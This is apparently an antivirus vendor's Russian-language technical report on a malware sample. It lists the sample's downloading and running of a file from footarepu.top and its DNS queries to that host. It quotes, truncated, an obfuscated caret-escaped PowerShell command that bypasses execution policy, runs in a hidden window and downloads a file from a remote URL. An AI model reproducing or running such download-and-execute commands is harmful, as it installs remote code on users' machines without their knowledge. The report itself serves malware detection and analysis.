Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://footarepu.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^O^w^E^r^Sh^E^l^l^.^e^XE -eXECut^IONpOL^I^Cy ^BYpA^sS ^-nOP^R^o^fILE -^W^indoW^sTyl^E h^Id^d^e^n (^nEW^-o^BjeCT ^sySte^m^.N^et.w^e^B^C^L^IeNT).DOwnLOadfiL^e('http://foo...
Сетевая активность
UDP
- DNS ASK fo###repu.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^O^w^E^r^Sh^E^l^l^.^e^XE -eXECut^IONpOL^I^Cy ^BYpA^sS ^-nOP^R^o^fILE -^W^indoW^sTyl^E h^Id^d^e^n (^nEW^-o^BjeCT ^sySte^m^.N^et.w^e^B^C^L^IeNT).DOwnLOadfiL^e('http://foo...' (со скрытым окном)
